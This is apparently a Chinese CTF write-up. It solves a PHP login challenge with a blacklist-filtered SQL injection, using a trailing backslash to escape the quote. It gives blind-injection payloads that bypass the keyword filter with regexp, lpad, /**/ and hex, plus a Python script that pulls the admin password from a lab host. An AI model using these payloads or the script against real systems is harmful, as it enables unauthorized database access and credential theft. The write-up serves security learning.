在去年十月份的时候本菜参加了一场CTF比赛,有一道过滤了单引号的SQL注入当时并没有做出来,让我一直心心念念。今天在做CISCN2019 总决赛 EasyWeb题的时候受到了启发,终于解开了一个心头的包袱。
先祭出当时比赛的原题,高手请一笑而过。。
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);
echo "<h1><strong><b>Welcom to MiniInject</b></strong><br></h1>";
$blacklist = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$blacklist .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($blacklist, $_GET['user'])) exit("Something wrong!");
if(preg_match($blacklist, $_GET['pw']))exit("Something wrong!");
$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'";
$userstr = "user:$_GET[user]";
$pwstr = "pass:$_GET[pw]";
$result = mysqli_query($conn,$query);
$result = mysqli_fetch_array($result,MYSQLI_ASSOC);
$admin_pass = mysqli_fetch_array(mysqli_query($conn,"select pw from chal where user='admin'"),MYSQLI_ASSOC);
echo "<h1><strong><b>{$userstr}</b></strong><br></h1>";
echo "<h1><strong><b>{$pwstr}</b></strong><br></h1>";
if($result['user']) echo "<h2><br>Welcome {$result['user']}<br></h2>";
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
echo $flag;
}
?>
经过这道题,深深的感受到,如果输入的数据能打破数据和代码的分界,就能造成漏洞。
以常规的SQL注入为例,
select pwd from user where name='admin';
代码就是两个单引号之外的一切。数据就是单引号中间的admin。
假如我们输入admin'union select database()#,我们输入的单引号就打破了这种边界,而单引号之后的一切就是我们攻击的代码。
最终
select pwd from user where name='admin' union select database()#';
难道打破这种边界的只有单引号吗??
当然不是,一直以来忽略了一个重要的字符。
转义字符 \
转义字符,顾名思义,就是改变字符本来的意义。比如本来有一个字符n,这是一个小写字母。如果在前面加上转义字符\,这个字符就变成了回车。各种编程语言就用这种方式来让你输入不可见字符。同时由于一个字符串的边界是引号,所以,想要在字符串内写一个引号的话也需要转义,就变成了\'和\"。
这道题,如果我们在user字符输入转义字符,那么传入SQL数据库引擎的就变成了
select user from chal where user='admin\' and pw='pwd'
我们将第一个单引号转义了!最终数据库将查询一个名为admin\' and pw=的用户,而我们在pw字段随意输入的一切将被当作SQL语句!
我们如果在使用00截断后面的语句,这道题就变成了一道盲注题。
/?user=\&pw=||(1);%00
/?user=\&pw=||(0);%00
剩下的就比较简单了。
使用/**/来替代空格。
使用regexp来代替like。
使用lpad来代替substr。
使用十六进制编码代替字符串。
最终的payload
?user=d\&pw=||(lpad(pw,1,0x2a)regexp/**/0x61);%00
然后编写个脚本跑一下就能拿到admin的密码。
import requests
import string
import itertools
flag = ''
done = False
larger_url = f"http://192.168.99.1/?user=d\&pw=||(lpad(pw,%d,0x2a)regexp/**/%s);\x00"
true_string = 'Welcome admin'
waf_string = 'Something wrong!'
import binascii
flag = ''
for i in itertools.count(1):
for j in range(ord('A'), ord('z') + 1):
purl = larger_url % (i, '0x' + str(binascii.hexlify(bytes(flag+chr(j),'ascii')),'ascii'))
res = requests.get(purl)
if true_string in res.text:
flag = flag +chr(j)
print(flag)
break
elif waf_string in res.text:
print('waf detected!')
exit()
else:
print('not exists %d' % i)
break
print(repr(flag),len(flag))